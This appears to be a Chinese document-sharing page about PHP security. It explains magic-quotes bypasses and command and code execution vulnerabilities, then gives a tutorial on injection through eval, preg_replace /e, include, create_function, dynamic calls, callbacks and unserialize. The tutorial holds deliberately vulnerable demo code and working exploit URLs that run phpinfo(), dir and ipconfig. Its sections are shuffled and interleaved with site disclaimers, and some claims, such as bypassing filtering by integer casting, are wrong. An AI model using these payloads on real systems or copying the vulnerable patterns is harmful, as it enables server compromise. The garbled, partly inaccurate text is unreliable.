攻击者可以直接使用$_REQUEST或$_COOKIE等全局变量来绕过GPC机制,不受GPC函数的影响。
2.强制转换数据类型攻击者可以通过强制转换数据类型来绕过GPC机制。
例如,将一个字符串类型的变量强制转换为整数类型,可以将攻击者传递的恶意代码作为整数参数提交给应用程序,从而绕过GPC函数。
3. 魔术引号(Magic Quotes)在较早版本的PHP中,有一个名为“magic_quotes_gpc”的配置选项,当启用时,PHP会自动在GPC变量中的单引号、双引号、反斜杠和NULL字符前添加反斜杠。
这样可以防止SQL注入和XSS攻击,但同时也可能导致其他安全问题。
攻击者可以通过构造特殊的输入来绕过魔术引号机制。
4.使用全局变量全局变量如$GLOBALS['name']可绕过GPC机制,攻击者可以访问和篡改这些全局变量来绕过GPC函数。
因此,建议禁用全局变量或确保对全局变量的访问受到严格的控制和过滤。
5.覆盖GPC函数攻击者可以通过在自己的代码中重新定义GPC函数来绕过原有的GPC 机制。
例如,攻击者可以创建一个函数名为“get_magic_quotes_gpc”的函数,在其中返回一个恒定的值。
然后,他们可以通过调用这个函数来绕过原有的GPC函数,获取未经过过滤的输入数据。
为了防止GPC绕过攻击,可以采取以下措施:1.使用预处理语句或参数绑定来处理数据库查询,而不是直接拼接SQL语句。
命令执行与代码执行漏洞原理
命令执行与代码执行漏洞原理在网络安全领域中,命令执行和代码执行漏洞都是常见的安全问题。
攻击者可以利用这些漏洞来执行非法操作,比如获取敏感信息、篡改数据、控制服务器等。
本文将介绍命令执行和代码执行漏洞的原理,以及如何防范这些漏洞。
一、命令执行漏洞原理命令执行漏洞是指攻击者利用应用程序没有对用户输入的数据进行充分过滤和验证,从而将恶意命令注入到应用程序中,进而执行非法操作的漏洞。
攻击者利用这个漏洞可以执行任意系统命令,比如查看文件、修改文件、删除文件等。
命令执行漏洞常见的发生在Web应用程序中。
攻击者通过输入恶意数据,比如SQL注入、OS命令注入等方式,将恶意命令注入到Web应用程序中。
当应用程序接收到这些恶意命令后,就会执行这些命令,从而造成安全漏洞。
例如,以下代码存在命令执行漏洞:```$filename = $_GET['filename'];exec("rm " . $filename);```在这个例子中,$filename变量是从URL参数中获取的。
如果攻击者在URL参数中输入恶意数据,比如"../../../etc/passwd",那么就会删除/etc/passwd文件,从而造成安全漏洞。
为了防止命令执行漏洞,开发人员应该对用户输入的数据进行充分的过滤和验证。
比如,可以通过正则表达式、白名单等方式来限制用户输入的数据,避免恶意数据注入。
此外,还可以使用一些安全框架,比如OWASP ESAPI,来减少命令执行漏洞的发生。
二、代码执行漏洞原理代码执行漏洞是指攻击者利用应用程序没有对用户输入的数据进行充分过滤和验证,从而将恶意代码注入到应用程序中,进而执行非法操作的漏洞。
攻击者利用这个漏洞可以执行任意代码,比如获取敏感信息、篡改数据、控制服务器等。
代码执行漏洞常见的发生在Web应用程序中。
攻击者通过输入恶意数据,比如XSS攻击、文件上传漏洞等方式,将恶意代码注入到Web应用程序中。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
}
}
unserialize($_GET[''saved_code'']);
?>
我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。
执行phpinfo()。
3.3 preg_replace()第三个参数注射
我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]
或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
(黑哥那个挑战2 /hi_heige/blog/item/505b2828da5b18f499250a9b.html)
demo code 5.3:
<?php
class Example {
var $var = '''';
function __destruct() {
demo code 3.3:
<?
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET[''h'' 动态变量代码执行
demo code 4.1:
<?php
$dyn_func = $_GET[''dyn_func''];
<?php
include($_GET[''a'']);
?>
访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即
执行phpinfo()。
三 正则匹配代码注射
众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下
replacement即第二个参数的代码注射,导致代码执行。
demo code 3.2:
<?
preg_replace("/menzhi007/e",$_GET[''h''],"jutst test menzhi007!");
?>
当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即
?>
二 文件包含代码注射
文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。
当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。
demo code 2.1:
demo code 4.2:
<?php
$foobar = $_GET[''foobar''];
$dyn_func = create_function(''$foobar'', "echo $foobar;");
$dyn_func('''');
?>
我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令
preg_replace("/<php>(.*?)$regexp", ''\\1'', $var);
?>
访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即
执行phpinfo()。
3.2 preg_replace() replacement参数注射
五 其他
5.1 ob_start()函数的代码执行
demo code 5.1:
<?php
$foobar = ''system'';
ob_start($foobar);
echo ''dir'';
ob_end_flush();
?>
5.2 array_map()函数的代码执行
5.4 容易导致安全问题的函数
同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。
5.3 unserialize()与eval()
unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
3.1 preg_replace() pattern 参数注射
pattern即第一个参数的代码注射。
当magic_quotes_gpc=Off时,导致代码执行。
demo code 3.1:
<?php
echo $regexp = $_GET[''reg''];
$var = ''<php>phpinfo()</php>'';
一 代码执行函数
PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
demo code 1.1:
<?php
echo `dir`;
demo code 5.2:
<?php
$evil_callback = $_GET[''callback''];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
$argument = $_GET[''argument''];
$dyn_func($argument);
?>
我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令
4.2 动态函数代码执行